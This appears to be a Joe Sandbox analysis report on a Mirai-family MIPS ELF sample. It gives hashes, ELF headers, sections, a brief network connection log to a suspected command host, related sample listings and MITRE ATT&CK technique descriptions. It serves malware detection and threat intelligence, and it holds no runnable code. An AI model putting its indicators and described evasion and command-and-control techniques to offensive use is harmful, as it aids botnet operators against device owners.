	qlgIEbAy2D.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	109.202.202.202
	qbmHR5ZIJL.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	109.202.202.202
	FZqYclxRiu.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	qlt52dfogC.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	46t2vW6nO9.elf	Get hash	malicious	Mirai, Okiru	Browse	109.202.202.202
	l1uxT537eS.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	4wngRroxli.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	XioVUcbE3G.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	85x5rW00VC.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.157829800660741
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	wn8pgKNArU.elf
File size:	206'308 bytes
MD5:	5e551c4b56b047def8a6b77c8bb8a8d7
SHA1:	37f4c4d9894fcc0fdb6fe2ec8c017b9358492ec0
SHA256:	e06905604998c5494ca7e01761a8823093a7b4a005c4f2bb19d58f4254bb1158
SHA512:	95e0f8d73468d75cba2c768febfa4e16bee39a1a193ad26adb76fe88fd4f2579c99b86040a0c54756a3e52669faf194255032a6875e49a2e469b0d8905a6be73
SSDEEP:	3072:xoebq5nHjlpC5Fs1/f3/RZIx7rI/SdNY7xY2uEo:pqFeyXp2dPY7xBu
TLSH:	D014E91AEF610FBBD86BCD3701E80B1135CC954722997B3A3678D928F54A54B4AE3C78
File Content Preview:	.ELF....................p.@.4....#......4. ...(...............@...@.@...@.....................F...F.LS..8...........Q.td...............................<\|..'!......'.......................<X..'!.............9'.. ........................<(..'!... .........9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400270
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	205748
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x290e0	0x0	0x6	AX	16
.fini	PROGBITS	0x429200	0x29200	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x429260	0x29260	0x33e0	0x0	0x2	A	16
.ctors	PROGBITS	0x46d004	0x2d008	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x46d010	0x2d014	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x46d01c	0x2d020	0x118	0x0	0x3	WA	4
.data	PROGBITS	0x46d140	0x2d144	0x47d8	0x0	0x3	WA	32
.got	PROGBITS	0x471920	0x31924	0xa2c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x47234c	0x32350	0x5c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4723b0	0x32350	0x4a8c	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x12c6	0x32350	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x32350	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x2c640	0x2c640	5.5205	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x2d004	0x46d004	0x46d000	0x534c	0x19e38	1.2658	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 13:06:55.632066011 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 19, 2024 13:06:56.399871111 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 19, 2024 13:07:12.013767958 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 19, 2024 13:07:22.252227068 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 19, 2024 13:07:26.347688913 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 19, 2024 13:07:52.968023062 CEST	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: wn8pgKNArU.elf PID: 6241, Parent PID: 6163

General

Start time (UTC):	11:06:52
Start date (UTC):	19/04/2024
Path:	/tmp/wn8pgKNArU.elf
Arguments:	/tmp/wn8pgKNArU.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report wn8pgKNArU.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: wn8pgKNArU.elf PID: 6241, Parent PID: 6163

General

Chronological Activities

Linux Analysis Report
wn8pgKNArU.elf